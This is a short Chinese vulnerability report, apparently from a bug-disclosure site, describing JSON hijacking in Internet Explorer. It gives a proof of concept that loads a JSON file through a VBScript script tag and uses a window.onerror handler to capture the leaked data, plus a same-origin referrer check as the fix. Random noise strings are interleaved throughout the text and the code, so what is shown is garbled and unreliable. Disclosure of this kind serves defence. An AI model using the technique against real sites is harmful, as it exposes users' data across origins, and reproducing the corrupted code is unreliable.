简要描述:
/ p1 c8 l- t5 v/ q
1 [) {- e E& B" D由于某些资源容器对数据处理不当导致json劫持漏洞.. g0 _" [& [+ |1 o ~3 m
详细说明:
* h( {, [' ~: u' A2 `9 ^. r由于ie支持vbscript,所以script元素可以指定成vbscript语言:
7 f6 X% ? G* p<script language=vbscript></script>
7 g2 I, R& X. V) I( Q1 B
" y; A$ ?' ^6 I当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.7 [, ]6 `5 e% d* {
漏洞证明:3 I, e' ~3 f, [; p; |" J8 B- L
<script>
1 P% q. K) f% b5 iwindow.onerror=function(_){9 l$ V% ]% d: c- ^* z" R
alert(_)9 u3 I1 a. h) i l) p
}
7 d: Z! w5 ?7 c5 s# ]- Q</script>
, {: \" H! }) ]6 `<script language=vbscript src=1.json></script>
3 j* j0 b' @) u8 Y! N + I, v L5 x! k5 P5 o u( U
. @: U' }# O" L1.json:; z( L- ?9 k8 }0 m
[{"name":"sogili","age":19}]
9 K; s* g! |3 W8 ?/ ^8 H修复方案:: o8 j7 l. q) ~% l5 O' a! P
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |